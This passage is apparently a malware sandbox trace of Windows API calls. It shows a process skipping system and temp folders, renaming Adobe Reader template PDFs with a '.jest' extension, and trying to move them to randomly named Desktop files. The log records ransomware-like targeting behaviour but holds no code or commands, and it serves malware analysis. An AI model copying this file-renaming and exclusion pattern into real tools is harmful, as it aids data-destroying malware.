[0156.235] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.235] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c [0156.235] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.235] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.235] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.236] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.236] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.236] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.236] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf.jest")) returned 1 [0156.237] GetLastError () returned 0x0 [0156.238] VarBstrFromR4 (in: fltIn=0x479452f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.92") returned 0x0 [0156.239] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LKyjwDu_Wl hFrMqLWm0Vk78aoC2Ss70nrl5r9mWx8HuMkZbMyQjkpl99Z78mAbvDjQzeVmbRwiQQ8Bgz6P291ZRciG03VBBXyf9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lkyjwdu_wl hfrmqlwm0vk78aoc2ss70nrl5r9mwx8humkzbmyqjkpl99z78mabvdjqzevmbrwiqq8bgz6p291zrcig03vbbxyf9.tmp")) returned 0 [0156.239] GetLastError () returned 0x2 [0156.239] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf") returned 0x4c [0156.239] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.239] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf") returned 0x4c [0156.240] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.240] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf") returned 0x4c [0156.240] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.240] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf") returned 0x4c [0156.240] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.240] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf") returned 0x4c [0156.241] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.241] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.241] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.241] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.241] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.241] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf.jest")) returned 1 [0156.242] GetLastError () returned 0x0 [0156.243] VarBstrFromR4 (in: fltIn=0x479452f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.94") returned 0x0 [0156.244] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CW7Vg3OfDVuZPwU2ZX12bSdky3MlKJqRQLPUqRDsUTy28NVvK3Iv8NmBqXpM9knUwV5Bbu48MLdKdVjXoxnvS2wCKYchYPPzMou.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cw7vg3ofdvuzpwu2zx12bsdky3mlkjqrqlpuqrdsuty28nvvk3iv8nmbqxpm9knuwv5bbu48mldkdvjxoxnvs2wckychyppzmou.tmp")) returned 0 [0156.244] GetLastError () returned 0x2 [0156.244] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.244] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.244] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.245] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.245] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.245] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf.jest")) returned 1 [0156.246] GetLastError () returned 0x0 [0156.246] VarBstrFromR4 (in: fltIn=0x479452f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.94") returned 0x0 [0156.247] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NKw3uPVPnfoEcvDThtN GjaZ0uIWIwCBj56Uw4i0Ck5_okMgxOHDrz8WmzWez8HJWOoSMnI7fdiftVV-PGVqqwnk2tu-UsRHzWd6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nkw3upvpnfoecvdthtn gjaz0uiwiwcbj56uw4i0ck5_okmgxohdrz8wmzwez8hjwoosmni7fdiftvv-pgvqqwnk2tu-usrhzwd6.tmp")) returned 0 [0156.247] GetLastError () returned 0x2 [0156.248] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.248] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.248] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.248] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.248] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.248] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf.jest")) returned 1 [0156.249] GetLastError () returned 0x0 [0156.250] VarBstrFromR4 (in: fltIn=0x479452f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.94") returned 0x0 [0156.251] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g2P3-Q8QsRE7zSVXRWii1ziOEm7vYFiBf2fwqcpngOsrnX6KGZG8t8I IB_3I 2ESeuchP0WZjiV0hNKC7RKibZWx8R JRCv5Cqc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g2p3-q8qsre7zsvxrwii1zioem7vyfibf2fwqcpngosrnx6kgzg8t8i ib_3i 2eseuchp0wzjiv0hnkc7rkibzwx8r jrcv5cqc.tmp")) returned 0 [0156.251] GetLastError () returned 0x2 [0156.251] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.251] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.251] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.251] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.251] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.252] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf.jest")) returned 1 [0156.253] GetLastError () returned 0x0 [0156.253] VarBstrFromR4 (in: fltIn=0x479452f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.94") returned 0x0 [0156.254] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9_UtPNRsHiZ2d8m9pysu8tHZKeVW0q-1qfPLODo22UOR9yl5aByOTAkUb17tcXy0fvh810KW2U0C8AbTrUoHKCJ2kvyXqq3sb3Tg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9_utpnrshiz2d8m9pysu8thzkevw0q-1qfplodo22uor9yl5abyotakub17tcxy0fvh810kw2u0c8abtruohkcj2kvyxqq3sb3tg.tmp")) returned 0 [0156.254] GetLastError () returned 0x2 [0156.255] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.255] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.255] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.255] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.255] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.255] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf.jest")) returned 1 [0156.256] GetLastError () returned 0x0 [0156.257] VarBstrFromR4 (in: fltIn=0x479452f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.94") returned 0x0 [0156.258] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_t fnQz6IIiLimuXZ8Wmbw_Hrchwcp_SfZ6vtGZY_Mu1brq9BfrVasIvyQueAyJSdemj8TEEc-qATM5-6dI8rbaqIoya1USBGLi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_t fnqz6iiilimuxz8wmbw_hrchwcp_sfz6vtgzy_mu1brq9bfrvasivyqueayjsdemj8teec-qatm5-6di8rbaqioya1usbgli.tmp")) returned 0 [0156.258] GetLastError () returned 0x2 [0156.258] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.258] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.258] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.258] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.258] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.259] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf.jest")) returned 1 [0156.260] GetLastError () returned 0x0 [0156.260] VarBstrFromR4 (in: fltIn=0x479452fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.95") returned 0x0 [0156.261] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hNQdMg19mAbGNUmfjklPDox_AOTw-mVLh5YZWzXBN0hDBuOgtHOBjOhwhQ1jKeN VkMLHyrLEy-1BYYuCP-bBfVKpurJ_iRY8sSg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqdmg19mabgnumfjklpdox_aotw-mvlh5yzwzxbn0hdbuogthobjohwhq1jken vkmlhyrley-1byyucp-bbfvkpurj_iry8ssg.tmp")) returned 0 [0156.261] GetLastError () returned 0x2 [0156.262] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.262] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.262] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.262] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.262] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.262] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf.jest")) returned 1 [0156.263] GetLastError () returned 0x0 [0156.264] VarBstrFromR4 (in: fltIn=0x479452fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.95") returned 0x0 [0156.265] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\visn0 VWcQE5iBO6qfKv1qYV3Ql0QVaVb0PNGP2TZdzkAxGsmQbdNkYBjMEUAiswiFOryHgvwrY-DBRBF1_ujCQDCwphGpu_sYZGE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\visn0 vwcqe5ibo6qfkv1qyv3ql0qvavb0pngp2tzdzkaxgsmqbdnkybjmeuaiswiforyhgvwry-dbrbf1_ujcqdcwphgpu_syzge.tmp")) returned 0 [0156.265] GetLastError () returned 0x2 [0156.265] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.265] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.265] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.265] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.265] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.266] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf.jest")) returned 1 [0156.267] GetLastError () returned 0x0 [0156.267] VarBstrFromR4 (in: fltIn=0x479452fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.95") returned 0x0 [0156.268] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BOU8INVXn49vLvEihfBMd6wjZMMv-cuUyOLD0FSJvqq7LqL IX9wIbDBx7uP2Mc93A28Rb1Z8sKZeJZyNOWdb6L2EnBkPNc __rU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bou8invxn49vlveihfbmd6wjzmmv-cuuyold0fsjvqq7lql ix9wibdbx7up2mc93a28rb1z8skzejzynowdb6l2enbkpnc __ru.tmp")) returned 0 [0156.268] GetLastError () returned 0x2 [0156.269] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.269] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.269] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.269] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.269] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.270] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf.jest")) returned 1 [0156.271] GetLastError () returned 0x0 [0156.271] VarBstrFromR4 (in: fltIn=0x479452fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.95") returned 0x0 [0156.272] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eYZLBnUwKQCJostpX53VMIpr6uLCsp7Ffw2oxrGOllSzC3YMNR5iiLBdpw0T9jYJZ8p0F6PiaqAOo87m9fllWb77HegjtY4F4z2Z .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzlbnuwkqcjostpx53vmipr6ulcsp7ffw2oxrgollszc3ymnr5iilbdpw0t9jyjz8p0f6piaqaoo87m9fllwb77hegjty4f4z2z .tmp")) returned 0 [0156.272] GetLastError () returned 0x2 [0156.273] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.273] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.273] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.273] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.273] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.273] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf.jest")) returned 1 [0156.274] GetLastError () returned 0x0 [0156.275] VarBstrFromR4 (in: fltIn=0x479452fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.97") returned 0x0 [0156.276] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uOGiEK6smHRMb9w6zM6mn2dSzBLvQ5FqGl5w8qWtMfhFWg8wk1R2Q_XyTPmevPRT1GM_anbRivXAMQZQB0AVz0ZupHyxRj_TjC0z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uogiek6smhrmb9w6zm6mn2dszblvq5fqgl5w8qwtmfhfwg8wk1r2q_xytpmevprt1gm_anbrivxamqzqb0avz0zuphyxrj_tjc0z.tmp")) returned 0 [0156.276] GetLastError () returned 0x2 [0156.279] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.279] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.279] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.280] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.280] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.280] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 